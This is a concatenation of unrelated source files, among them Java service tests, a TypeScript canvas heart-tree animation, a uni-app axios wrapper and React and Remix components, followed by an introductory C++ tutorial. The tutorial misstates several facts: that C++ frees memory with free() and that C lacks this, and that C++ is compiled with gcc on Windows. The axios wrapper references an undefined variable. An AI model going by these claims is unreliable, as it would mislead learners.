// Create a Page object from the list
Page<BlogEntity> blogPage = new PageImpl<>(blogEntities);
// Mock the behavior of blogRepository.findAllByIdNot
when(blogRepository.findAllByIdNot(Mockito.any(Pageable.class), Mockito.eq(1L))).thenReturn(blogPage);
// Invoke the method under test
Page<BlogSummaryDTO> result = blogService.getAllBlogsExcludingOne(Pageable.unpaged(), 1L);
// Assertions
assertEquals(blogPage.getTotalElements(), result.getTotalElements());
}
@Test
void testMapAsSummary() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Create a sample blog entity
BlogEntity blogEntity = new BlogEntity();
// Set properties on the blog entity
// Get the mapAsSummary method using reflection
Method mapAsSummaryMethod = BlogServiceImpl.class.getDeclaredMethod("mapAsSummary", BlogEntity.class);
mapAsSummaryMethod.setAccessible(true); // Make the private method accessible
// Invoke the method under test
BlogSummaryDTO result = (BlogSummaryDTO) mapAsSummaryMethod.invoke(null, blogEntity);
// Assertions
assertEquals(blogEntity.getId(), result.id());
assertEquals(blogEntity.getImageUrl(), result.imageUrl());
assertEquals(blogEntity.getTitle(), result.title());
assertEquals(blogEntity.getDescriptionFirstTitle(), result.descriptionFirstTitle());
assertEquals(blogEntity.getSecondTitle(), result.secondTitle());
assertEquals(blogEntity.getDescriptionSecondTitle(), result.descriptionSecondTitle());
}
}
|
import { sleep } from './sleep';
function random(min: number, max: number) {
return min + Math.floor(Math.random() * (max - min + 1));
}
function randomColor(): string {
const minLightness = 80; // 最小亮度值
const maxLightness = 95; // 最大亮度值
const hueRange = 60; // 色调范围
const randomHue = Math.floor(Math.random() * hueRange); // 随机色调
const randomLightness = Math.floor(Math.random() * (maxLightness - minLightness) + minLightness); // 随机亮度
return `hsl(${randomHue}, 100%, ${randomLightness}%)`;
}
function bezier(cp: Point[], t: number) {
const p1 = cp[0].mul((1 - t) * (1 - t));
const p2 = cp[1].mul(2 * t * (1 - t));
const p3 = cp[2].mul(t * t);
return p1.add(p2).add(p3);
}
function inHeart(x: number, y: number, r: number) {
// x^2+(y-(x^2)^(1/3))^2 = 1
// http://www.wolframalpha.com/input/?i=x%5E2%2B%28y-%28x%5E2%29%5E%281%2F3%29%29%5E2+%3D+1
const z =
((x / r) * (x / r) + (y / r) * (y / r) - 1) *
((x / r) * (x / r) + (y / r) * (y / r) - 1) *
((x / r) * (x / r) + (y / r) * (y / r) - 1) -
(x / r) * (x / r) * (y / r) * (y / r) * (y / r);
return z < 0;
}
class Point {
x: number;
y: number;
constructor(x = 0, y = 0) {
this.x = x;
this.y = y;
}
clone(): Point {
return new Point(this.x, this.y);
}
add(o: Point): Point {
const p = this.clone();
p.x += o.x;
p.y += o.y;
return p;
}
sub(o: Point): Point {
const p = this.clone();
p.x -= o.x;
p.y -= o.y;
return p;
}
div(n: number): Point {
const p = this.clone();
p.x /= n;
p.y /= n;
return p;
}
mul(n: number): Point {
const p = this.clone();
p.x *= n;
p.y *= n;
return p;
}
}
class Heart {
points: Point[];
length: number;
constructor() {
const points: Point[] = [];
let x: number, y: number, t: number;
for (let i = 10; i < 30; i += 0.2) {
t = i / Math.PI;
x = 16 * Math.sin(t) ** 3;
y = 13 * Math.cos(t) - 5 * Math.cos(2 * t) - 2 * Math.cos(3 * t) - Math.cos(4 * t);
points.push(new Point(x, y));
}
this.points = points;
this.length = points.length;
}
get(i: number, scale?: number): Point {
return this.points[i].mul(scale || 1);
}
}
type Branches = [number, number, number, number, number, number, number, number, Branches[]];
class Tree {
ctx: CanvasRenderingContext2D;
record: {
[key: string]: {
image: ImageData;
point: Point;
width: number;
height: number;
speed?: number;
};
} = {};
branches: Branch[] = [];
blooms: Bloom[] = [];
bloomsCache: Bloom[] = [];
constructor(
public canvas: HTMLCanvasElement,
public width: number,
public height: number,
public opt: {
bloom: {
num: number;
width: number;
height: number;
};
branch: Branches[];
}
) {
this.canvas = canvas;
this.ctx = canvas.getContext('2d') as CanvasRenderingContext2D;
this.width = canvas.width = width;
this.height = canvas.height = height;
this.ctx.translate(width / 2, height);
this.ctx.scale(1, -1); // 原点居中,x轴贴底
this.opt = opt || {};
this.initBranch();
this.initBloom();
}
initBranch() {
const branches = this.opt.branch || [];
this.addBranches(branches);
}
initBloom() {
const bloom = this.opt.bloom || {};
const cache: Bloom[] = [];
const num = bloom.num || 500;
const width = bloom.width || this.width;
const height = bloom.height || this.height;
const r = 200;
for (let i = 0; i < num; i++) cache.push(this.createBloom(width, height, r));
this.bloomsCache = cache;
}
toDataURL(type: string) {
return this.canvas.toDataURL(type);
}
draw(k: string) {
const ctx = this.ctx;
const rec = this.record[k];
if (!rec) return;
const point = rec.point;
const image = rec.image;
ctx.save();
ctx.putImageData(image, point.x, point.y);
ctx.restore();
}
addBranch(branch: Branch) {
this.branches.push(branch);
}
addBranches(branches: Branches[]) {
let b: Branches, p1: Point, p2: Point, p3: Point, r: number, l: number, c: Branches[];
for (let i = 0; i < branches.length; i++) {
b = branches[i];
p1 = new Point(b[0], b[1]);
p2 = new Point(b[2], b[3]);
p3 = new Point(b[4], b[5]);
r = b[6];
l = b[7];
c = b[8];
this.addBranch(new Branch(this, p1, p2, p3, r, l, c));
}
}
removeBranch(branch: Branch) {
const branches = this.branches;
for (let i = 0; i < branches.length; i++) {
if (branches[i] === branch) branches.splice(i, 1);
}
}
canGrow() {
return !!this.branches.length;
}
grow() {
const branches = this.branches;
for (let i = 0; i < branches.length; i++) {
const branch: Branch = branches[i];
if (branch) branch.grow();
}
}
addBloom(bloom: Bloom) {
this.blooms.push(bloom);
}
removeBloom(bloom: Bloom) {
const blooms = this.blooms;
for (let i = 0; i < blooms.length; i++) {
if (blooms[i] === bloom) blooms.splice(i, 1);
}
}
createBloom(
width: number,
height: number,
radius: number,
color?: string,
alpha?: number,
angle?: number,
scale?: number,
place?: Point,
speed?: number
) {
let x, y;
while (true) {
x = random(-width / 2 + 5, width / 2 - 5);
y = random(20, height - 50);
if (inHeart(x, y - (height - 50) / 2, radius))
return new Bloom(this, new Point(x, y), color, alpha, angle, scale, place, speed);
}
}
canFlower() {
return !!this.blooms.length;
}
flower(num: number) {
let blooms = this.bloomsCache.splice(0, num);
for (let i = 0; i < blooms.length; i++) this.addBloom(blooms[i]);
blooms = this.blooms;
for (let j = 0; j < blooms.length; j++) blooms[j].flower();
}
snapshot(k: string, x: number, y: number, width: number, height: number) {
const ctx = this.ctx;
const image = ctx.getImageData(x, y, width, height);
this.record[k] = {
image,
point: new Point(x, y),
width,
height
};
}
setSpeed(k: string, speed: number) {
this.record[k || 'move'].speed = speed;
}
move(k: string, x: number, y: number) {
const ctx = this.ctx;
const rec = this.record[k || 'move'];
const point = rec.point;
const image = rec.image;
const speed = rec.speed || 10;
const width = rec.width;
const height = rec.height;
const i = point.x + speed < x ? point.x + speed : x;
const j = point.y + speed < y ? point.y + speed : y;
ctx.save();
ctx.clearRect(point.x, point.y, width, height);
ctx.putImageData(image, i, j);
ctx.restore();
rec.point = new Point(i, j);
rec.speed = speed * 0.95;
if (rec.speed < 2) rec.speed = 2;
return i < x || j < y;
}
jump() {
const blooms = this.blooms;
if (blooms.length) {
for (let i = 0; i < blooms.length; i++) blooms[i].jump();
}
if ((blooms.length && blooms.length < 3) || !blooms.length) {
const { width = this.width, height = this.height } = this.opt.bloom || {};
const r = 240;
for (let i = 0; i < random(1, 2); i++)
blooms.push(
this.createBloom(
width / 2 + width,
height,
r,
'',
1,
0,
1,
new Point(random(-this.width / 2, this.width / 2), -30),
random(200, 300)
)
);
}
}
async start() {
const growAnimate = async () => {
do {
this.grow();
await sleep(10);
} while (this.canGrow());
};
const flowAnimate = async () => {
do {
this.flower(2);
await sleep(10);
} while (this.canFlower());
};
const keepAlive = async () => {
if (this.canvas.parentElement)
this.canvas.parentElement.style.backgroundImage = `url(${this.toDataURL('image/png')})`;
};
const jumpAnimate = async () => {
setInterval(() => {
this.ctx.clearRect(-this.width / 2, 0, this.width, this.height);
this.jump();
}, 35);
};
await growAnimate();
await flowAnimate();
keepAlive();
await jumpAnimate();
}
}
class Branch {
len = 0;
t: number;
constructor(
public tree: Tree,
public point1: Point,
public point2: Point,
public point3: Point,
public radius: number,
public length: number,
public branches: Branches[]
) {
this.tree = tree;
this.point1 = point1;
this.point2 = point2;
this.point3 = point3;
this.radius = radius;
this.length = length || 100;
this.t = 1 / (this.length - 1);
this.branches = branches || [];
}
grow() {
let p;
if (this.len <= this.length) {
p = bezier([this.point1, this.point2, this.point3], this.len * this.t);
this.draw(p);
this.len += 1;
this.radius *= 0.97;
} else {
this.tree.removeBranch(this);
this.tree.addBranches(this.branches);
}
}
draw(p: Point) {
const ctx = this.tree.ctx;
ctx.save();
ctx.beginPath();
ctx.fillStyle = 'rgb(35, 31, 32)';
ctx.shadowColor = 'rgb(35, 31, 32)';
ctx.shadowBlur = 2;
ctx.moveTo(p.x, p.y);
ctx.arc(p.x, p.y, this.radius, 0, 2 * Math.PI);
ctx.closePath();
ctx.fill();
ctx.restore();
}
}
class Bloom {
color: string;
alpha: number;
scale: number;
angle: number;
constructor(
public tree: Tree,
public point: Point,
color?: string,
alpha?: number,
angle?: number,
scale?: number,
public place?: Point,
public speed?: number
) {
this.tree = tree;
this.point = point;
this.color = color || randomColor();
this.alpha = alpha || random(0.3, 1);
this.angle = angle || random(0, 360);
this.scale = scale || 0.1;
this.place = place;
this.speed = speed;
}
flower() {
this.draw();
this.scale += 0.1;
if (this.scale > 1) this.tree.removeBloom(this);
}
draw() {
const ctx = this.tree.ctx;
ctx.save();
ctx.fillStyle = this.color;
ctx.globalAlpha = this.alpha;
ctx.translate(this.point.x, this.point.y);
ctx.scale(this.scale, this.scale);
ctx.rotate(this.angle);
ctx.beginPath();
ctx.moveTo(0, 0);
const figure = new Heart();
for (let i = 0; i < figure.length; i++) {
const p = figure.get(i);
ctx.lineTo(p.x, -p.y);
}
ctx.closePath();
ctx.fill();
ctx.restore();
}
jump() {
if (this.point.x < -20 || this.point.y < -20) {
this.tree.removeBloom(this);
} else {
this.draw();
if (this.place) {
this.point = this.place.sub(this.point).div(this.speed!).add(this.point);
this.angle! += 0.05;
this.speed! -= 1;
}
}
}
}
export { Tree, Point, Bloom };
|
import type { LoaderFunction } from "@remix-run/node";
import { Link, useLoaderData } from "@remix-run/react";
import { ArticleCardImageAdminPage } from "~/components/BlogPreview";
import type { posts } from "~/services/post.server";
import { getPosts } from "~/services/post.server";
type loaderData = {
posts: posts[];
};
export const loader: LoaderFunction = async () => {
const posts = await getPosts();
return { posts } as loaderData;
};
export default function UpdatePostPage() {
const { posts } = useLoaderData() as loaderData;
return (
<>
{posts.length >= 1 ? (
posts.map((post) => {
return (
<Link
to={"/news/admin/edit/" + post.id}
prefetch="intent"
style={{
textDecoration: "none",
}}
key={post.id}
>
<br />
<ArticleCardImageAdminPage key={post.slug} {...post} />
</Link>
);
})
) : (
<p>No posts found.</p>
)}
</>
);
}
|
import axios, { AxiosInstance, AxiosPromise } from 'axios'
import * as utils from '@/utils'
import { IAnyObj } from '@/defineds'
import {
IRestHeader, IResult, RequestFucNames, RequestMethod,
} from '@/defineds/utils/rest'
import { RootStore } from '@/store/types'
import store from '@store/index'
import buildURL from '../../node_modules/axios/lib/helpers/buildURL'
import settle from '../../node_modules/axios/lib/core/settle'
/**
* axios封装
*/
class Axios {
/**
* axios实例
*/
_axiosCustom: AxiosInstance
/**
* 仓库
*/
store: RootStore
constructor () {
// axios实例
this._axiosCustom = axios.create({
withCredentials: true,
timeout: (2 * 60 * 1000),
})
this._init()
this.store = store
}
// 初始化模块
_init (): void {
// 适配 小程序
this._axiosCustom.defaults.adapter = this._uniAppRequest.bind(this)
}
/**
* 适配 小程序
*/
private _uniAppRequest (config: any):AxiosPromise {
return new Promise((resolve, reject) => {
uni.request({
method: config.method as any,
// url: buildURL(config.url, config.params, config.paramsSerializer),
url: buildURL(config.url, config.params, config.paramsSerializer),
header: config.headers,
data: config.data,
dataType: config.dataType,
responseType: config.responseType,
sslVerify: config.sslVerify,
complete: function complete (response: any) {
// eslint-disable-next-line no-param-reassign
response = {
data: response.data,
status: response.statusCode,
errMsg: response.errMsg,
headers: response.header, // 注意此处 单复数
config,
}
settle(resolve, reject, response)
},
})
})
}
// 初始化axios
_initAxios (): void {
this._axiosCustom = axios.create({
timeout: (2 * 60 * 1000),
})
}
// 设置公共header
_getHeader<T> (headers: T): T {
const globalHeaders = {}
if (!headers['content-type']) {
Object.assign(globalHeaders, {
'content-type': 'application/json',
})
}
// token
if (this.store?.state?.user?.token) {
Object.assign(globalHeaders, {
token: this.store.state.user.token,
})
}
return Object.assign(globalHeaders, headers)
}
/**
* 获取公共参数
*/
_getParams (params: any, config: IAnyObj) {
let newParams: FormData|null = null
if (config.uploadFile) {
if (utils.getElementType(config.uploadFileKey) !== 'array') throw new Error('uploadFileKey必须是一个数组')
const form = new FormData()
Object.entries(params).map(([key, value]: [string, any]) => {
if (Reflect.has(params, key)) {
if (config.uploadFileKey.includes(key) && utils.getElementType(value) === 'array') {
value.map((item: any) => {
form.append(key, item)
})
} else {
form.append(key, value)
}
}
})
newParams = form
} else {
newParams = params
}
// formDate类型对象不做去除空值操作
return utils.getElementActualType(newParams) !== 'formData' ? utils.pick({ ...newParams }) : newParams
}
/**
*
* @param url 计算url
* @returns url
*/
_getUrl (url: string, target = 'from-muzat'): string {
if (/https?:/.test(url)) return url
switch (target) {
case 'apptest': {
return `${import.meta.env.VITE_APP_testApi}${url}`
}
case 'from-muzat': {
return `${import.meta.env.VITE_APP_MUZAT_API}${url}`
}
case 'from-node': {
return url
}
default: {
return url
}
}
}
/**
* 核心请求函数,下面所有函数都基于此函数
* @param href: string 请求的地址
* @param params: object 请求参数,选填,默认: {}
* @param config: object axios参数,选填,默认: {}
* @param + autoErrorRes: boolean 是否自动处理响应错误,默认: true
* @param + autoErrorData: boolean 是否自动处理后台错误,默认: true
* @param + autoCancel: boolean 离开路由时是否自动取消当前页面发起的所有请求,默认: true
* @returns Promise<any>
*/
request<T> (url: string, params: IAnyObj = {}, config: IAnyObj = {}): Promise<IResult<T>> {
if (!this._axiosCustom) {
return (Promise.resolve({
code: -100,
msg: '',
})) as Promise<IResult<T>>
}
const {
// autoErrorRes = true,
autoErrorData = true,
// autoCancel = true,
paramsType = 'raw',
target = 'from-muzat',
} = config
if (!url) return Promise.reject(new Error('缺少请求url'))
// if (autoCancel) {
// Object(config, {
// cancelToken: store.state[storeConstants.UPDATESOURCE].token,
// })
// }
// if (!config.hideLoading) fullScreenLoading.add()
const newParams = this._getParams(params, config)
const newUrl = this._getUrl(url, target)
// RequestMethod
const args = {
method: RequestMethod.POST as RequestMethod,
url: newUrl,
...{
...config,
headers: this._getHeader<IRestHeader>(config.headers),
},
}
// 处理url传参
if (args.method.toLowerCase() === 'get' || paramsType === 'form-data') {
Object.assign(args, {
params: newParams || {},
})
} else if (paramsType === 'raw') {
Object.assign(args, {
data: newParams || {},
})
} else {
console.warn('paramsType的有效值为form-data|raw')
}
console.log(args)
return this._axiosCustom(args).then(async res => {
// fullScreenLoading.remove()
const { data } = res
console.log('请求成功', res)
switch (target) {
case 'from-muzat':
case 'from-node':
// case 'mall': {
// if (data?.code !== 100) {
// switch (data?.code) {
// default: {
// const errMsg = data?.msg || '未知的服务器错误'
// const errCod = data?.code
// console.warn(`请求接口: ${args.url}, 状态码: ${errCod}, 错误消息: ${errMsg}`)
// if (autoErrorRes) {
// utils.toast(errMsg, 'error', {
// duration: 5 * 1000,
// })
// }
// }
// }
// }
// break
// }
}
if (config.responseType === 'blob') {
return {
data: {
headers: res.headers,
data,
},
}
} else {
return data
}
}, async error => {
// 处理请求报错,如状态码为500、404、422等
// fullScreenLoading.remove()
if (error?.response?.status) {
switch (error.response.status) {
// 未登录
case 401: {
// 权限问题
break
}
case 404: {
// 资源不存在
break
}
case 500: {
// 服务端报错
break
}
default: {
// default
}
}
}
const newError = {
originError: error,
status: error?.response?.status || -100,
data: error?.response?.data || {},
}
console.error(`网络请求异常,请求接口: ${args.url}, 异常状态码: ${newError.status}`)
if (autoErrorData) {
utils.toast(`网络请求异常, 异常状态码: ${newError.status}`, 'error', {
duration: 7000,
})
}
return Promise.reject(newError)
})
}
private _get<T> (href: string, params: IAnyObj = {}, config: IAnyObj = {}, outTime = -1, requestMethod:RequestFucNames = RequestFucNames.REQUEST): Promise<IResult<T>> {
if (!href) return Promise.reject(new Error('缺少入口'))
const newConfig = {
headers: config.headers || {},
method: 'get',
...config,
}
if (requestMethod === 'request') {
return this[requestMethod](href, params, newConfig)
}
return this[requestMethod](href, params, newConfig, outTime)
}
private _post<T> (href: string, params: IAnyObj = {}, config: IAnyObj = {}, outTime = -1, requestMethod = 'request'): Promise<IResult<T>> {
if (!href) return Promise.reject(new Error('缺少入口'))
const newConfig = {
headers: config.headers || {},
method: 'post',
...config,
}
if (config.uploadFile) {
Object.assign(newConfig.headers, {
'content-type': 'multipart/form-data',
})
}
// const urlObj = url.parse(href)
// const queryObj = qs.parse(urlObj.query as string)
// const query = qs.stringify(queryObj)
// const newUrl = url.format(Object.assign(urlObj, {
// query,
// search: `?${query}`,
// }))
if (requestMethod === 'request') {
return this[requestMethod](href, params, newConfig)
} else if (requestMethod === 'sessionRequest' || requestMethod === 'localRequest') {
return this[requestMethod](newUrl, params, newConfig, outTime)
} else {
throw new Error('查找不到需要调用的函数')
}
}
/**
* get请求 tips: api接口返回值类型统一命名方式 以I + 命名 + Result命令 ex: IInfoMemberResult
* @param href: string 请求的地址
* @param params: object 请求参数,选填,默认: {}
* @param config: object axios参数,选填,默认: {}
* @returns Promise<any>
*/
public async get<T> (href: string, params: IAnyObj = {}, config: IAnyObj = {}, outTime = -1): Promise<IResult<T>> {
return this._get(href, params, config, outTime)
}
/**
* post请求 tips: api接口返回值类型统一命名方式 以I + 命名 + Result命令 ex: IInfoMemberResult
* @param href: string 请求的地址
* @param params: object 请求参数,选填,默认: {}
* @param config: object axios参数,选填,默认: {}
* @returns Promise<any>
*/
async post<T> (href: string, params: IAnyObj = {}, config: IAnyObj = {}, outTime = -1): Promise<IResult<T>> {
return this._post(href, params, config, outTime)
}
}
export default new Axios()
|
/*
This file is part of the JUCE framework.
Copyright (c) Raw Material Software Limited
JUCE is an open source framework subject to commercial or open source
licensing.
By downloading, installing, or using the JUCE framework, or combining the
JUCE framework with any other source code, object code, content or any other
copyrightable work, you agree to the terms of the JUCE End User Licence
Agreement, and all incorporated terms including the JUCE Privacy Policy and
the JUCE Website Terms of Service, as applicable, which will bind you. If you
do not agree to the terms of these agreements, we will not license the JUCE
framework to you, and you must discontinue the installation or download
process and cease use of the JUCE framework.
JUCE End User Licence Agreement: https://juce.com/legal/juce-8-licence/
JUCE Privacy Policy: https://juce.com/juce-privacy-policy
JUCE Website Terms of Service: https://juce.com/juce-website-terms-of-service/
Or:
You may also use this code under the terms of the AGPLv3:
https://www.gnu.org/licenses/agpl-3.0.en.html
THE JUCE FRAMEWORK IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL
WARRANTIES, WHETHER EXPRESSED OR IMPLIED, INCLUDING WARRANTY OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, ARE DISCLAIMED.
*/
namespace juce::detail
{
struct AccessibilityHelpers
{
AccessibilityHelpers() = delete;
enum class Event
{
elementCreated,
elementDestroyed,
elementMovedOrResized,
focusChanged,
windowOpened,
windowClosed
};
static void notifyAccessibilityEvent (const AccessibilityHandler&, Event);
static String getApplicationOrPluginName()
{
#if defined (JucePlugin_Name)
return JucePlugin_Name;
#else
if (auto* app = JUCEApplicationBase::getInstance())
return app->getApplicationName();
return "JUCE Application";
#endif
}
template <typename MemberFn>
static const AccessibilityHandler* getEnclosingHandlerWithInterface (const AccessibilityHandler* handler, MemberFn fn)
{
if (handler == nullptr)
return nullptr;
if ((handler->*fn)() != nullptr)
return handler;
return getEnclosingHandlerWithInterface (handler->getParent(), fn);
}
};
} // namespace juce::detail
|
import React from "react";
import { Col } from "react-bootstrap";
import {
Area,
AreaChart,
CartesianGrid,
Tooltip,
XAxis,
YAxis,
} from "recharts";
const Areachart = () => {
const data = [
{
month: "Mar",
investment: 100000,
sell: 241,
revenue: 10401,
},
{
month: "Apr",
investment: 200000,
sell: 423,
revenue: 24500,
},
{
month: "May",
investment: 500000,
sell: 726,
revenue: 67010,
},
{
month: "Jun",
investment: 500000,
sell: 529,
revenue: 40405,
},
{
month: "Jul",
investment: 600000,
sell: 601,
revenue: 50900,
},
{
month: "Aug",
investment: 700000,
sell: 670,
revenue: 61000,
},
];
return (
<Col md={6}>
<h3>Investment vs Revenue</h3>
<AreaChart width={300} height={250} data={data}>
<defs>
<linearGradient id="colorUv" x1="0" y1="0" x2="0" y2="1">
<stop offset="5%" stopColor="#8884d8" stopOpacity={0.8} />
<stop offset="95%" stopColor="#8884d8" stopOpacity={0} />
</linearGradient>
<linearGradient id="colorPv" x1="0" y1="0" x2="0" y2="1">
<stop offset="5%" stopColor="#82ca9d" stopOpacity={0.8} />
<stop offset="95%" stopColor="#82ca9d" stopOpacity={0} />
</linearGradient>
</defs>
<XAxis dataKey="investment" />
<YAxis dataKey="revenue" />
<CartesianGrid strokeDasharray="3 3" />
<Tooltip />
<Area
type="monotone"
dataKey="investment"
stroke="#8884d8"
fillOpacity={1}
fill="url(#colorUv)"
/>
<Area
type="monotone"
dataKey="revenue"
stroke="#82ca9d"
fillOpacity={1}
fill="url(#colorPv)"
/>
</AreaChart>
</Col>
);
};
export default Areachart;
|
package ru.practicum.shareit.user.service;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.stereotype.Service;
import ru.practicum.shareit.exception.NotFoundException;
import ru.practicum.shareit.user.model.User;
import ru.practicum.shareit.user.storage.UserJpaRepository;
import javax.transaction.Transactional;
import java.util.Collection;
@Service
@Qualifier("UserServiceImpl")
public class UserServiceImpl implements UserService {
private final UserJpaRepository userRepository;
@Autowired
public UserServiceImpl(UserJpaRepository userRepository) {
this.userRepository = userRepository;
}
@Override
public User create(User newUser) {
return userRepository.save(newUser);
}
@Override
@Transactional
public User edit(Long userId, User newInfo) {
User existingUser = userRepository.findById(userId)
.orElseThrow(() -> new NotFoundException("User not found"));
updateUserInfo(existingUser, newInfo);
return existingUser;
}
private void updateUserInfo(User existingUser, User newInfo) {
if (newInfo.getName() != null) {
existingUser.setName(newInfo.getName());
}
if (newInfo.getEmail() != null) {
existingUser.setEmail(newInfo.getEmail());
}
}
@Override
public User getById(Long userId) {
return userRepository.findById(userId)
.orElseThrow(() -> new NotFoundException("User not found"));
}
@Override
public void delete(Long userId) {
userRepository.deleteById(userId);
}
@Override
public Collection<User> getAllUsers() {
return userRepository.findAll();
}
@Override
public void validate(Long userId) {
if (!userRepository.existsById(userId)) {
throw new NotFoundException("User not found");
}
}
}
|
Features of C++
Introduction
C++ is a general-purpose programming language and is widely used nowadays for competitive programming. It has imperative, object-oriented, and generic programming features. C++ runs on lots of platforms like Windows, Linux, Unix, Mac, etc. It can be used to develop operating systems, browsers, games, and so on. This makes C++ powerful as well as flexible.
For this course, you will be provided with the in-built compiler of Coding Ninjas. However, if you want to run programs and practice them on your local desktop, various compilers like Code blocks, VS Code, Dev C++, Atom, and many more exist. You may choose one for yourself.
Features of C++
C++ provides a lot of features that are given below.
Simple
Portability
Powerful and Fast
Rich Library
Platform Dependent
Mid-level programming language
Structured programming language
Object-Oriented
Case Sensitive
Compiler Based
Syntax based language
Pointers
Dynamic Memory Management
1) Simple: C++ is a simple language because it provides a structured approach (to break the problem into parts), a rich set of library functions, data types, etc. It allows us to follow both procedural as well as functional approach to design our flow of control.
2) Portability: It is the concept of carrying the instruction from one system to another system. In C++, Language .cpp file contains source code, and we can also edit this code. .exe file contains the application, which is the only file that can be executed. When we write and compile any C++ program on the Windows operating system, it efficiently runs on other window-based systems.
3) Powerful: C++ is a very powerful programming language, and it has a wide variety of data types, functions, control statements, decision-making statements, etc. C++ is a fast language as compilation and execution time is less. Also, it has a wide variety of data types, functions & operators.
4) Rich Library: C++ library is full of in-built functions that save a tremendous amount of time in the software development process. As it contains almost all kinds of functionality, a programmer can need in the development process. Hence, saving time and increasing development speed.
5) Platform Dependent: Platform dependent language means the language in which programs can be executed only on that operating system where it is developed & compiled. It cannot run or execute on any other operating system. E.g., compiled programs on Linux won’t run on Windows.
6) Mid-level programming language: C++ can do both low-level & high-level programming. That is the reason why C++ is known as a mid-level programming language.
7) Structured programming language: C++ is a structured programming language as it allows to break the program into parts using functions. So, it is easy to understand and modify.
8) Object-oriented: C++ is an object-oriented programming language. OOPs make development and maintenance easier, whereas, in Procedure-oriented programming language, it is not easy to manage if code grows as project size grows. It follows the concept of oops like polymorphism, inheritance, encapsulation, abstraction.
9) Case sensitive: C++ is a case-sensitive programming language. In C++ programming, 'break and BREAK' both are different.
10) Compiler Based: C++ is a compiler-based language, unlike Python. C++ programs used to be compiled, and their executable file is used to run it due to which C++ is a relatively faster language than Java and Python.
11) Syntax-based language: C++ is a strongly typed syntax-based programming language. If any language follows the rules and regulations strictly, it is known as a strongly syntax-based language.Other examples of syntax-based languages are C, C++, Java, .net etc.
12) Pointer: C++ supports pointers that allow the user to deal directly with the memory and control the programmer. This makes it very suitable for low-level tasks and very complicated projects. It is known to increase the speed of execution by decreasing the memory access overhead.
13) Dynamic Memory Management: It supports the feature of dynamic memory allocation. In C++ language, we can free the allocated memory by calling the free() function. These features are missing in languages like C
Uses of C++
Uses of C++
There are several benefits of using C++ because of its features and security; below are some uses of C++ Programming Language:
Operating Systems: One of the key requirements of an Operating System is that it should be very fast as it is responsible for scheduling and running the user programs. The strongly typed and fast nature of C++ makes it an ideal candidate for writing operating systems. Also, C++ has a vast collection of system-level functions that also help in writing low-level programs. Microsoft Windows or Mac OS X, or Linux - all operating systems have some parts programmed in C++.
Games: Again since most of the games need to be faster to support smooth game play, C++ is extensively used in game design. C++ can easily manipulate hardware resources, and it can also provide procedural programming for CPU-intensive functions.
Browsers: With the fast performance of C++, most browsers have their rendering software written in C++. Browsers are mostly used in C++ for rendering purposes. Rendering engines need to be faster in execution as most people do not like to wait for the web page to be loaded.
Libraries: Many high-level libraries use C++ as the core programming language. For example, TensorFlow uses C++ as the back end programming language. Such libraries required high-performance computations because they involve multiplications of huge matrices to train Machine Learning models. As a result, performance becomes critical. C++ comes to the rescue in such libraries.
Graphics: C++ is widely used in almost all graphics applications that require fast rendering, image processing, real-time physics, and mobile sensors.
Cloud/Distributed Systems: Cloud storage systems use scalable file-systems that work close to the hardware; also, the multi threading libraries in C++ provide high concurrency and load tolerance.
Embedded Systems: C++ is closer to the hardware level, and so it is quite useful in embedded systems as the software and hardware in these are closely coupled. Many embedded systems use C++, such as smartwatches, MP3 players, GPS systems, etc.
Compilers: Compilers of various programming languages use C++ as the back-end programming language.
Headers in C++
Headers
C++ code begins with the inclusion of header files. There are many header files available in the C++ programming language, which will be discussed while moving ahead with the course.
So, what are these header files?
The names of program elements such as variables, functions, classes, and so on must be declared before they can be used. For example, you can’t just write x = 42 without first declaring variable x as:
int x = 42;
The declaration tells the compiler whether the element is an int, a double, a float, a function, or a class. Similarly, header files allow us to put declarations in one location and then import them wherever we need them. This saves a lot of typing in multi-file programs. To declare a header file, we use #include directive in every .cpp file. This #include is used to ensure that they are not inserted multiple times into a single .cpp file.
Now, moving forward to the code:
#include <iostream>
using namespace std;
iostream stands for Input/Output stream, meaning this header file is necessary to take input through the user or print output to the screen. This header file contains the definitions for the functions:
cin: used to take input
cout: used to print output
namespace defines which input/output form is to be used. You will understand these better as you progress in the course.
Note: semicolon (;) is used for terminating a C++ statement. i.e., different statements in a C++ program are separated by a semicolon.
main() function
main() function
Look at the following piece of code:
int main() {
Statement 1;
Statement 2;
...
}
You can see the highlighted portion above. Let’s discuss each part stepwise.
Starting with the line:
int main()
int: This is the return type of the function. You will get this thing clear once you reach the Functions topic.
main(): This is the portion of any C++ code inside which all the commands are written and executed.
This is the line at which the program will begin executing. This statement is similar to the start block of flowcharts.
As you will move further in the course, you will get a clear glimpse of this function. Till then, just note that you will have to write all the programs inside this block.
{}: all the code written inside the curly braces is said to be in one block, also known as a particular function scope. Again, these things will be clear when you will study functions.
For now, just understand that this is the format in which we are going to write our basic C++ code. As you will move forward with the course, you will get a clear and better understanding.
Complile and Run
Compile and run a C++ code
For compiling and running a CPP program in Linux following are the command lines:
Compile: g++ Filename.cpp
Run or execute: ./a.out
For compiling and running a CPP program in Windows following are the command lines:
Compile: gcc Filename.cpp
Run or execute: filename
Macros in C++
Macros
Macros are a piece of code in a program that is given some name. Whenever the compiler encounters this name, the compiler replaces the name with the actual piece of code. The ‘#define’ directive is used to define a macro.
Note: There is no semicolon(‘;’) at the end of the macro definition.
Example:
#include <iostream>
using namespace std;
// macro definition
#define LIMIT 5
int main() {
for (int i = 0; i < LIMIT; i++) {
cout << i << " ";
}
return 0;
}
Output:
0 1 2 3 4
Macros with arguments: We can also pass arguments to macros. Macros defined with arguments work similarly as functions.
Example:
#include <iostream>
using namespace std;
// macro with parameter
#define Area(l, b)(l * b)
int main() {
int l = 10, b = 5, a;
a = Area(l, b);
cout << "The Area of the rectangle is: " << a;
return 0;
}
Output:
The area of the rectangle is: 50
Comments in C++
Comments
C++ comments are hints that a programmer can add to make their code easier to read and understand. They are completely ignored by C++ compilers.
There are two ways to add comments to code:
// - Single Line Comment
/* */ - Multi-line Comments
Example: Single line comment.
#include <iostream>
using namespace std;
int main() {
// This is a comment
cout << "Hello World!";
return 0;
}
Output:
Hello World!
Example: Multi-line Comment.
#include <iostream>
using namespace std;
int main() {
/* The code below will print - Hello World!
to the screen*/
cout << "Hello World!";
return 0;
}
Output:
Hello World!
Introduction
Introduction
